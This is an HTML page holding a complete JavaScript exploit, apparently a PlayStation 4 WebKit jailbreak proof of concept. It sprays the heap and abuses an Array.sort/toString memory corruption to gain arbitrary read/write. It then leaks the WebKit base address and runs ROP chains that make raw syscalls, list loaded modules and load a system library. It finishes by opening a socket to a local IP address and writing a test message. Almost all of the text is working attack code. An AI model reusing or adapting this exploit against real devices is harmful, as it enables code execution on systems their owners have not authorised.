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ps4sploit.html
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ps4sploit.html
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<script src="/scripts/long.js"></script>
<script src="/scripts/jquery.min.js"></script>
<script src="/scripts/js_utils.js"></script>
<script src="/scripts/network_utils.js"></script>
<script src="/scripts/mem_utils.js"></script>
<script src="/scripts/rop.js"></script>
<script src="/scripts/gadgets.js"></script>
<script>
try {
var ua = window.navigator.userAgent;
var supportedUAs = Object.getOwnPropertyNames(gadgetMap);
for (var i = 0; i < supportedUAs.length; i++)
if (ua.indexOf(supportedUAs[i]) != -1) {
gadgets = gadgetMap[supportedUAs[i]];
}
if (typeof(gadgets) === "undefined") {
throw "Your system is not supported.";
}
var spray = new Array(0x1000)
for (var i = 0; i < spray.length; i++) {
spray[i] = new Uint32Array(0x1A7)
}
var almost_oversize = 0x3000;
var foo = new Array(almost_oversize);
var normal_length = 0x800;
var fu = new Array(normal_length);
var o = {};
var arrays = new Array(0x4);
var buf_addr = undefined;
var vtable_ptr = undefined;
var webkit_base_addr = undefined;
var cbuf = undefined;
var rop_buf = undefined;
var rop_buf_addr = undefined;
var storage = new Storage();
var found = false;
o.toString = function() {
foo.push(12345);
for (var i = 0; i < arrays.length; ++i) {
var bar = Array.prototype.constructor.apply(null, fu);
bar[0] = 1
bar[1] = 2
bar[2] = 3
arrays[i] = bar;
}
return "";
}
foo[0] = o;
len = u2d(0x80000000, 0x80000000);
for (var i = 1; i < foo.length; ++i) {
foo[i] = len
}
foo.sort();
o.toString = function() {};
var u32buffer = new Array(0x100)
for (var i = 0; i < 0x100; i++) {
var v = new Uint32Array(0x13AC)
for (var j = 0; j < v.length; j++) {
if (j % 2 == 1)
v[j] = 0x41414141
else
v[j] = j;
}
u32buffer[i] = v
}
arr = arrays[1]
debug_log("Modified arr length = 0x" + arr.length.toString(16))
var start_offset = 0x2F000
var offset = d2u(arr[(start_offset) + 0x3000 / 8 + (0x5000 / 8 * -50)]).low
var offset2 = d2u(arr[(start_offset) + 0x3000 / 8 + (0x5000 / 8 * 20)]).low
var index = 0;
for (var i = 48; i < 60; i++) {
var val = d2u(arr[(start_offset) + 0x3000 / 8 + (0x5000 / 8 * i) - offset / 2 - 1]).hi
if (val == 0xbadaeef7) {
found = true;
debug_log("Found ArrayBufferView in memory!")
debug_log('Modified index is ' + i)
index = i;
break
}
}
if (!found) {
throw "Did not find ArrayBufferView in memory.";
}
// Modify an ArrayBufferView object size,
// and make its buffer point to its ArrayBuffer field.
arr[(start_offset) + 0x3000 / 8 + (0x5000 / 8 * index) - offset2 / 2 + 7] = u2d(0x80000000, 0xbadbeef7);
arr[(start_offset) + 0x3000 / 8 + (0x5000 / 8 * index) - offset2 / 2 + 2] = arr[(start_offset) + 0x3000 / 8 + (0x5000 / 8 * index) - offset2 / 2 + 4]
found = false;
for (var i = 0; i < u32buffer.length; i++) {
if (u32buffer[i].length != 0x13AC) {
// Modify the ArrayBuffer so it is larger
// and make it so it's m_data pointer points to the ArrayBufferViews
debug_log("Found modified ArrayBufferView!")
found = true
buf_addr = new dcodeIO.Long(u32buffer[i][2], u32buffer[i][3], true)
u32buffer[i][4] = (0x60000 * 4)
u32buffer[i][2] = u32buffer[i][6]
u32buffer[i][3] = u32buffer[i][7]
break;
}
}
if (!found) {
throw "Did not find ArrayBufferView in memory.";
}
found = false;
// Find the modified ArrayBuffer and create our own Uint32Array from it
for (var i = 0; i < u32buffer[i].length; i++) {
if (u32buffer[i].buffer.byteLength != 0x4eb0) {
found = true;
debug_log("Found modified ArrayBuffer!")
cbuf = new Uint32Array(u32buffer[i].buffer)
break;
}
}
if (!found) {
throw "Did not find ArrayBufferView in memory.";
}
vtable_ptr = new dcodeIO.Long(cbuf[0], cbuf[1], true);
webkit_base_addr = vtable_ptr.sub(0x2600d80)
// Change the buffer size of the next ArrayBufferView in memory
cbuf[0x1e] = 0x600000
found = false;
// Find it, we will use it for ROP
for (var i = 0; i < u32buffer[i].length; i++) {
if (u32buffer[i].length == 0x600000) {
found = true;
rop_buf = u32buffer[i]
break;
}
}
if (!found) {
throw "Did not find ArrayBufferView in memory.";
}
// Basically the way the memory will be used is:
// (indexed from start of buffer before modification)
// (0 - 0x40000) = used for stack in function calls
// (0x40000 - (0x80000 - 0x8)) = where actual ROP will be stored
// ((0x80000 - 0x8) - 0x80000 = where we store old rsp value)
// (0x80000 - 0xc0000) = data to be stored by the user using the Storage class
rop_buf_addr = new dcodeIO.Long(cbuf[0x14], cbuf[0x15], true)
rop_buf_addr = rop_buf_addr.add(0x10000 * 4)
cbuf[0x14] = rop_buf_addr.getLowBitsUnsigned()
cbuf[0x15] = rop_buf_addr.getHighBitsUnsigned()
storage.set_initial_addr(rop_buf_addr.add(0x10000 * 4))
debug_log("vtable = 0x" + vtable_ptr.toString(16))
debug_log("webkit_base_addr = 0x" + webkit_base_addr.toString(16))
debug_log("buffer addr = 0x" + rop_buf_addr.toString(16))
debug_log("Starting ROP...")
// to use later
var libSceSysmodule_base = undefined;
debug_log('Printing module information...')
var ret = storage.alloc(0x4);
var count = storage.alloc(0x8);
var modules = storage.alloc(0x1024);
var r = new RopChain();
r.syscall(592, modules, 256, count);
r.add('pop rdi')
r.add(ret)
r.add('mov qword ptr [rdi], rax')
r.execute();
for (var i = 0; i<256; i++)
{
var id = read32(modules.add(i*4)).toString(16);
if (id != 0)
{
var retInfo = storage.alloc(0x4);
var info = storage.alloc(0x160);
write32(info, 0x160)
r = new RopChain();
r.syscall(593, read32(modules.add(i*4)), info);
r.add('pop rdi')
r.add(retInfo)
r.add('mov qword ptr [rdi], rax')
r.execute();
if (read32(retInfo) != 0){
storage.free(0x160 + 0x4)
continue;
}
var name = read_str(info.add(0x8));
var base = read64(info.add(0x42 * 4));
var size = read32(info.add(0x44 * 4));
var data_base = read64(info.add(0x46 * 4));
var data_size = read32(info.add(0x48 * 4));
var something_base = read64(info.add(0x4A * 4));
var something_size = read32(info.add(0x4C * 4));
debug_log('Module name: ' + name + '\nModule Base: 0x' + base.toString(16) + '\nModule size: 0x' + size.toString(16) +'\nModule Unknown Data Base: 0x' + something_base.toString(16) +'\nModule Unknown Data size: 0x' + something_size.toString(16) +'\nModule Data Base: 0x' + data_base.toString(16) +'\nModule Data size: 0x' + data_size.toString(16))
debug_log('===============')
if (name == "libSceSysmodule.sprx" && libSceSysmodule_base == undefined)
{
libSceSysmodule_base = base;
}
storage.free(0x160 + 0x4)
if (name == "SceLibcInternalHeap") break
}
}
storage.free(0x1024 + 0x8 + 0x4)
// test loading libSceAvSetting.sprx, just like CTurt did
// sceSysmodule.sprx + 0x20A0 = sceSysmoduleLoadModule();
// int sceSysmoduleLoadModule(__int64 moduleID, __int64 a2, __int64 a3, _DWORD *a4)
r = new RopChain();
r.call(libSceSysmodule_base.add(0x20A0), 11, 0, 0, 0);
r.execute();
// you can now dump name again and see libSceAvSetting.sprx
debug_log('Testing sockets...')
var s = socket()
debug_log('socket() returned 0x' + s.toString(16))
var cn = connect_helper(s, '192.168.1.67', 8989)
debug_log('connect() returned 0x' + cn.toString(16))
var str_to_write = "Hello From a PS4!\n"
var addr = storage.alloc(str_to_write.length)
write_str(addr, str_to_write)
var bytes_written = write(s, addr, str_to_write.length)
debug_log('write() returned 0x' + bytes_written.toString(16))
storage.free(str_to_write.length)
debug_log("DONE!")
} catch (ex) {
document.write("<h1>Error: " + ex + "</h1>");
debug_log("!! ERROR: " + ex);
}
</script>